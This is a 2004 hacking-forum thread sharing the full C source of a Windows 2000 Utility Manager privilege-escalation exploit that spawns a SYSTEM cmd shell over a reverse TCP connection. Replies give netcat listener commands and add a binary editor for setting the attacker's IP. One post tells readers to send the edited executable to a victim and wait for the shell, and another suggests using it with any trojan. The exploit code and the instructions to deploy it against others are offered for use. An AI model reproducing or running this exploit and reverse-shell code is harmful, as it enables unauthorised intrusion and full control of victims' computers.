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Utility Manager Exploit V2.666 Modified By Kralor

#1 User is offline   fre4k 

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Posted 20 July 2004 - 02:06 PM

/********************************************************************************
*********
 *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***
0***4****
 **          [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]            **
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 **   It gets system language and sets windows names to work on any win2k :P            **
 **   Feel free to add other languages :)                                               **
 **   v2.666: added autonomous (allinone) remote exploitation system;)                 **
 **   It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a **
 **   normal user account). Must be called with an argument (any argument)              **
 **   You know where we are..                                                           **
 *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***
0***4****
 ********************************************************************************
*********/
/* original disclaimer */
//by Cesar Cerrudo  sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.
/* end of original disclaimer */

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>
#include <io.h>

#pragma comment (lib,"ws2_32")

#define EXIT_SHELL "exit -shell"
#define HOST "localhost"
#define PORT 31337

struct {
 int id;
 char *utilman;
 char *winhelp;
 char *open;
} lang[] = {
	{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French  */
	{ 0x09,"Utility manager","Windows Help","Open" }    /* English */
};

void print_lang(int id)
{
	char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
        "Danish","German","Greek","English","Spanish","Finnish",
        "French","Hebrew","Hungarian","Icelandic","italian",
        "Japanese","Korean","Dutch","Norwegian","Polish",
        "Portuguese","Romanian","Russian","Croatian","Serbian",
        "Slovak","Albanian","Swedish","Thai","Turkish","Urdu",
        "Indonesian","Ukrainian","Belarusian","Slovenian",
        "Estonian","Latvian","Lithuanian","Farsi","Vietnamese",
        "Armenian","Azeri","Basque","FYRO Macedonian","Afrikaans",
        "Georgian","Faeroese","Hindi","Malay","Kazak","Kyrgyz",
        "Swahili","Uzbek","Tatar","Not supported","Punjabi",
        "Gujarati","Not supported","Tamil","Telugu","Kannada",
        "Not supported","Not supported","Marathi","Sanskrit",
        "Mongolian","Galician the best;)","Konkani","Not supported",
        "Not supported","Syriac","Not supported","Not supported",
        "Divehi","Invariant"};
	printf("%s\r\n",lang_list[id]);
	return;
}

int cnx(char *host, int port)
{
	SOCKET sock;
	struct sockaddr_in yeah;
	struct hostent *she;
	PROCESS_INFORMATION ProcessInformation;
	STARTUPINFO si;

	printf("[i] should be called by myself, try with any argument to load the attack\r\n");
	fflush(stdout);
	sock = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00);
	if(!sock) {
  printf("error: unable to create socket\r\n");
  return -1;
  }

	yeah.sin_family=AF_INET; 
	yeah.sin_addr.s_addr=inet_addr(host); 
	yeah.sin_port=htons((u_short)port);

if((she=gethostbyname(host))!=NULL) { 
	memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length); 
	} else { 
	if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  printf("error: cannot resolve host\r\n");
  return -1;
  } 
	}
	if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  printf("error: connection refused\r\n");
  return -1;
  }

	si.cb = 0x44;
	si.lpReserved = 0x00;
	si.lpTitle = 0x00;
	si.lpDesktop = 0x00;
	si.dwX = 0x00;
	si.dwY = 0x00;
	si.dwXSize = 0x00;
	si.dwYSize = 0x00;
	si.wShowWindow = 0x00;
	si.lpReserved2 = 0x00;
	si.cbReserved2 = 0x00;

	si.dwFlags = 0x101;

	si.hStdInput  = (void *)sock;
	si.hStdOutput = (void *)sock;
	si.hStdError = (void *)sock;

	if(!CreateProcess(0x00, "cmd", 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,&si, &ProcessInformation)) {
  printf("CreateProcess() error\r\n");
  return -1;
	}
	return 0;
}

void cmdshell(int sock)
{
	int length=666;
	char buffer[1024];

while(length) {
  length=read(0,buffer,sizeof(buffer));
  buffer[length]=0;
  if(!strncmp(buffer,EXIT_SHELL,strlen(EXIT_SHELL))) {
 	 send(sock,"exit\r\n",6,0);
 	 break;
 	 }
  length=send(sock,buffer,length,0);
  if (length<=0) {
 	 printf("[i] Connection closed.\n");
 	 exit(0);
  }
	}
	printf("[i] Connection successfully exited.\r\n");
	exit(0);
}

void wait_cnx(int port) {
	int sock, s,t;
	struct sockaddr_in my_addr;
	struct sockaddr_in their_addr;
    int sin_size;
	char buffer[4095];

if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) {
	printf("error: unable to create socket\r\n");
	exit(1);
	}
	my_addr.sin_family=AF_INET;        
	my_addr.sin_port=htons((u_short)port);
	my_addr.sin_addr.s_addr=INADDR_ANY; 
if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1) {
	printf("error: unable to bind socket on port %d\r\n",port);
	exit(1);
	}
if(listen(sock, 3)==-1) {
	printf("error: unable to listen\r\n");
	exit(1);
	}
	sin_size=sizeof(struct sockaddr_in);
	printf("[i] waiting connection on port %d\r\n",port);

if((s=accept(sock, (struct sockaddr *)&their_addr,&sin_size))==-1) {
	printf("error: unable to accept connection\r\n");
	exit(1);
	}
	memset(buffer,0,sizeof(buffer));
	printf("[i] host %s connected\r\n", inet_ntoa(their_addr.sin_addr));
	printf("[h] type 'exit -shell' to leave the shell\r\n\r\n");
	fflush(stdout);
	CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)cmdshell,(void*)s,0,&t);
	while((sin_size=recv(s,buffer,sizeof(buffer),0))>0) {
  buffer[sin_size]=0x00;
  printf("%s",buffer);
  fflush(stdout);
  }
	printf("\r\n[i] shell lost\r\n");
	return;
}

int set_lang(void)
{
	unsigned int lang_usr,lang_sys,id;

	id=GetSystemDefaultLangID();
	lang_sys=PRIMARYLANGID(id);
	id=GetUserDefaultLangID();
	lang_usr=PRIMARYLANGID(id);
	if(lang_usr!=lang_sys) {
  printf("warning: user language differs from system language\r\n\r\n");
  printf("1. system : ");print_lang(lang_sys);
  printf("2. user   : ");print_lang(lang_usr);printf("Select(1-2): ");
  fflush(stdout);
  id=getch();
	if(id!=49&&id!=50) {
  printf("wrong choice '%c', leaving.\r\n",id);
  exit(0);
  }
	if(id==49) {
  printf("system language\r\n");
  return lang_sys;
  }
	else
  printf("user language\r\n");
	}
	return lang_usr;
}

void banner()
{
	printf("\r\n\r\n\t[Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]\r\n");
	printf("\t\t\t  base code by Cesar Cerrudo\r\n");
	printf("\t     added autonomous (allinone) remote exploitation system\r\n");
	printf("\t\t\t   You know where we are...\r\n\r\n");
	fflush(stdout);
	return;
}

void give_magicshell(void)
{
	cnx(HOST,PORT);
	exit(0);
	return;
}

void enter_filename(HWND hwnd,char *filename,int size)
{
	unsigned int i;

	for(i=0;i<(unsigned int)size;i++)
  SendMessage(hwnd, WM_IME_KEYDOWN, toupper(filename[i]), 0);
	return;
}

int main(int argc, char* argv[])
{
    HWND lHandle, lHandle2;
    POINT point;
    char cmd[512];
	unsigned int i,j,t;
	int lang_id,path_len=1024;
	char *path;
	WSADATA wsa;
	HANDLE hdlr;

	banner();
	if(WSAStartup(0x101,&wsa)) {
  printf("error: unable to load winsock\r\n");
  return -1;
	}
if(argc==1)
	give_magicshell();

	hdlr=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)\
   wait_cnx,(void*)PORT,0,&t);
	Sleep(1000);

	printf("[+] Gathering system language information\r\n");
	lang_id=set_lang();
	printf("[+] OK language ...");print_lang(lang_id);
	fflush(stdout);
	for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
  if(lang[i].id==lang_id)
 	 break;
	if(i==sizeof(lang)/sizeof(lang[0])) {
  printf("error: undefined language.\r\n");
  return -1;
	}
	printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n");
	memset(cmd,0,sizeof(cmd));
	for(j=strlen(argv[0]);j>0;j--)
  if(argv[0][j]=='\\') {
 	 j++;break;
  }
	strncpy(cmd,&argv[0][j],508);
	if(cmd[strlen(cmd)-4]!='.')
  strcat(cmd,".exe");

	printf("prog: %s\r\n",cmd);
	cmd[strlen(cmd)-1]='?';
	fflush(stdout);
//  run utility manager
	WinExec("utilman.exe /start",SW_HIDE);
	Sleep(1000);

	lHandle=FindWindow(NULL, lang[i].utilman);   
    if (!lHandle) {
  printf("error: unable to start utilman.exe.\r\n");
  return 0;
	}

    PostMessage(lHandle,0x313,0,0); //=right click on the app button in the taskbar or Alt+Space Bar
	Sleep(100);

	SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP  0x0365  lParam must be<>NULL 
	Sleep(300);
        
	SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0);
	Sleep(500);

        // find open file dialog window
	lHandle = FindWindow("#32770",lang[i].open);
    // get input box handle
    lHandle2 = GetDlgItem(lHandle, 0x47C);
    Sleep(500);

	path=(char*)malloc(path_len);
	GetCurrentDirectory(path_len,path);
	printf("path: %s\r\n",path);
    SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)path);
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
	free(path);
	fflush(stdout);

    // set text to filter listview to display only cmd.exe
    SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
    Sleep(800);

    // send return
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

    //get navigation bar handle
    lHandle2 = GetDlgItem(lHandle, 0x4A0);
    
    //send tab
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
    Sleep(500);
    lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
    //get list view handle
    lHandle2 = GetDlgItem(lHandle2, 0x1);

	enter_filename(lHandle2,cmd,strlen(cmd)-4);
    Sleep(500);

    //popup context menu
    PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
    Sleep(1000);

    // get context menu handle
    point.x =10; point.y =30;
    lHandle2=WindowFromPoint(point);

    SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
    SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
    SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

    SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
    Sleep(500);

	SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window
	SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager
	WaitForSingleObject(hdlr,INFINITE);
	WSACleanup();
	return 0;
}



Another Nice one from kralor ^^ compiled fine with VS 6.

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#2 User is offline   mandawar 

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Posted 20 July 2004 - 08:33 PM

ole one, posted 3 times or so
Mandawar
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#3 User is offline   illwill 

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Posted 21 July 2004 - 08:39 PM

compiles smaller if you dont put the debug info in <_<
48kb.. fsg'd its only 18kb

so heres the smaller one with the source code

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#4 User is offline   MaNiAx 

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Posted 21 July 2004 - 10:24 PM

thanks for this and illwill nice job on the code remove :D
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#5 User is offline   Arnie 

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Posted 22 July 2004 - 09:13 AM

great stuff, thanks ;)
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#6 User is offline   illwill 

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Posted 23 July 2004 - 09:31 PM

of course im a even bigger idiot wondering why im compiling code for a program that needs to be edited before its compiled... what the code does is connect back to you once executed.. so you would need to edit the source to have it connect back to you ip and port

well i was bored and figured ill just make an editor for the binary instead
so now you can edit the ip in the binary without having to worry about compiling the code
the only thing is i was lazy and didnt allow you to edit the port

so here ya go
Util Manager Sploit Editor 1.0
by: illwill
Exploit Code by: Kralor & Cesar Cerrudo


Basically up open editor and put in your ip/dns addy
Save it
Open up a listening Netcat connection on port 31337
( i.e.    C:\>nc -L -v -p 31337   )

send the edited Exe to your victim and wait for the shell to connect back to you
If all goes well you should have a CmdShell with system privledges waiting for you
If they are patched youll still have a shell connectback but your privledges 
will be in the context of the user who executed the file

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#7 User is offline   nvidia247 

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Posted 24 July 2004 - 12:22 PM

thanks for the re-work ill..trying it now :)
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#8 User is offline   SecureD 

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Posted 24 July 2004 - 01:50 PM

am i 2 stoned now or isn't this a remote sploit?? because can't find the port anywhere :) :(
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#9 User is offline   night^man 

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Posted 24 July 2004 - 02:53 PM

illwill, on Jul 24 2004, 05:31 AM, said:

of course im a even bigger idiot wondering why im compiling code for a program that needs to be edited before its compiled... what the code does is connect back to you once executed.. so you would need to edit the source to have it connect back to you ip and port

well i was bored and figured ill just make an editor for the binary instead
so now you can edit the ip in the binary without having to worry about compiling the code
the only thing is i was lazy and didnt allow you to edit the port

so here ya go
Util Manager Sploit Editor 1.0
by: illwill
Exploit Code by: Kralor & Cesar Cerrudo


Basically up open editor and put in your ip/dns addy
Save it
Open up a listening Netcat connection on port 31337
( i.e.  C:\>nc -L -v -p 31337  )

send the edited Exe to your victim and wait for the shell to connect back to you
If all goes well you should have a CmdShell with system privledges waiting for you
If they are patched youll still have a shell connectback but your privledges 
will be in the context of the user who executed the file

if the victim is stupid enough to execute what you send him
it's can work with any kind of backdoor or trojan
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#10 User is offline   illwill 

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Posted 24 July 2004 - 04:56 PM

peerke, on Jul 24 2004, 09:50 PM, said:

am i 2 stoned now or isn't this a remote sploit?? because can't find the port anywhere :) :(

#DEFINE PORT 31337 :blink:
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